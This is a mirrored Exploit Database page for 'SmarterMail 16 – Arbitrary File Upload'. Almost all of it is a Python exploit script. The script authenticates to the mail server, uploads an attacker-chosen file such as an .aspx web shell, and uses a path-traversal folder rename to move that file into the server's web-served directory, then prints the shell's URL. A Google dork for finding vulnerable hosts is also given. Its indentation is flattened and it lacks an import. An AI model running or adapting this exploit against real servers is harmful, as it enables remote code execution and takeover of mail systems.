SmarterMail 16 – Arbitrary File Upload

• Exploit Database
• 23 阅读

• 作者： vvhack.org
  日期： 2020-06-12
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/48580/

• # Exploit Title: SmarterMail 16 - Arbitrary File Upload
  # Google Dork: inurl:/interface/root
  # Date: 2020-06-10
  # Exploit Author: vvhack.org
  # Vendor Homepage: https://www.smartertools.com
  # Software Link: https://www.smartertools.com
  # Version: 16.x
  # Tested on: Windows
  # CVE : N/A
  
  #!/usr/bin/python3
  import requests, json, argparse
  from requests_toolbelt.multipart.encoder import MultipartEncoder
  
  #example usage:
  #Authenticated
  #python3 exp.py -w http://mail.site.com/ -f ast.aspx
  #Change username & password !
  
  class Tak:
   
  def __init__(self):
   self.file_upload()
   self.shell_upload()
  
  def loginned(self):
  self.urls = results.wbsn + '/api/v1/auth/authenticate-user'
  self.myobja = {"username":"mail@mail.com","password":"password","language":"en"}
  self.xx = requests.post(self.urls, data = self.myobja)
  self.data = json.loads(self.xx.text)
  self.das = self.data['accessToken']
  self.headers = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0', 'Authorization': "Bearer " + self.das}
  
  def loginned_folder(self):
  self.loginned()
  self.url = results.wbsn + '/api/v1/mail/messages'
  myobj = {"folder":"drafts","ownerEmailAddress":"","sortType":5,"sortAscending":"false","query":"","skip":0,"take":151,"selectedIds":[]}
  x = requests.post(self.url, data = myobj, headers=self.headers)
  print(x.text)
  
  def create_folder(self):
  self.loginned()
  self.urlz = results.wbsn + '/api/v1/filestorage/folder-put'
  myobj = {"folder": "testos1", "parentFolder":"Root Folder\\"}
  myobj2= {"folder": "testos2", "parentFolder":"Root Folder\\"}
  x = requests.post(self.urlz, data = myobj, headers=self.headers)
  x = requests.post(self.urlz, data = myobj2, headers=self.headers)
  print(x.text)
  
  def file_upload(self):
  self.create_folder()
  '''
  #resumableChunkNumber=1&
  #resumableChunkSize=2097152&resumableCurrentChunkSize=955319&resumableTotalSize=955319&
  #resumableType=image%2Fjpeg&resumableIdentifier=955319-112097jpg&resumableFilename=112097.jpg&
  #resumableRelativePath=112097.jpg&resumableTotalChunks=1", headers={'User-Agent': "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0",
  #'Accept-Language': "en-US,en;q=0.5", 'Accept-Encoding': "gzip, deflate",
  #print(self.xz)
  #print(self.xz.headers)
  '''
  size = os.path.getsize(results.wbsf)
  print(size)
  replace_file = results.wbsf.replace(".","")
  with open(results.wbsf, "rb") as outf:
  contents = outf.read()
  multipart_data = MultipartEncoder(
  fields={
  "context": "file-storage",
  #"contextData": '{"folder":"Root Folder\\ " + str(results.wbsd) + "\\"}',
  "contextData": '{"folder":"Root Folder\\\\testos1\\\\"}',
  "resumableChunkNumber": "1",
  "resumableChunkSize": "2097152",
  "resumableCurrentChunkSize": str(size),
  "resumableTotalSize": str(size),
  "resumableType": "image/jpeg",
  #"resumableIdentifier": "955319-112097jpg",
  "resumableIdentifier": str(size) + "-" + str(replace_file),
  "resumableFilename": results.wbsf,
  "resumableRelativePath": results.wbsf,
  "resumableTotalChunks": "1",
  "file": (
  'blob',#112097.jpg',
   #open(file, "rb"),
   contents,
   #file,
   #"image/jpeg"
   "application/octet-stream"
   #'text/plain'
   )
  
  }
  )
  '''
  http_proxy = "http://127.0.0.1:8080"
  proxyDict = {
  "http": http_proxy,
  }
  '''
  # if you want to activate intercept then add with that argument, this parameter is necessary requiresfunc(if you want to activate it, please remove it from the comment line.)>> proxies=proxyDict
  self.dre = requests.post(url=results.wbsn + "/api/upload",headers={"Content-Type": multipart_data.content_type, 
  'Authorization': "Bearer " + self.das, 
  'User-Agent': "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"},data=multipart_data) 
  
  def shell_upload(self):
  
   '''
   http_proxy = "http://127.0.0.1:8080"
   proxyDict = {
  "http": http_proxy,
   }
   '''
  
   json_data = {
   "folder": "Root Folder\\testos1\\",
   "newFolderName": "\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\program files (x86)\\SmarterTools\\SmarterMail\\MRS\\testos1\\",
   "parentFolder": "",
   "newParentFolder": "Root Folder\\testos2"
   }
   #r = requests.post('http://mail.site.com/api/v1/filestorage/folder-patch', json=json_data, headers=self.headers, proxies=proxyDict)
   r = requests.post(results.wbsn+'/api/v1/filestorage/folder-patch', json=json_data, headers=self.headers)
   print(results.wbsn + "/testos1/" + results.wbsf) 
  
  if __name__ == '__main__':
  
   parser = argparse.ArgumentParser()
   parser.add_argument('-f', action='store', dest='wbsf',
   help='Filename')
   parser.add_argument('-w', action='store', dest='wbsn',
   help='Target')
   parser.add_argument('--version', action='version', version='SmartMail Knock Knock')
   results = parser.parse_args()
  
   tako = Tak()
   tako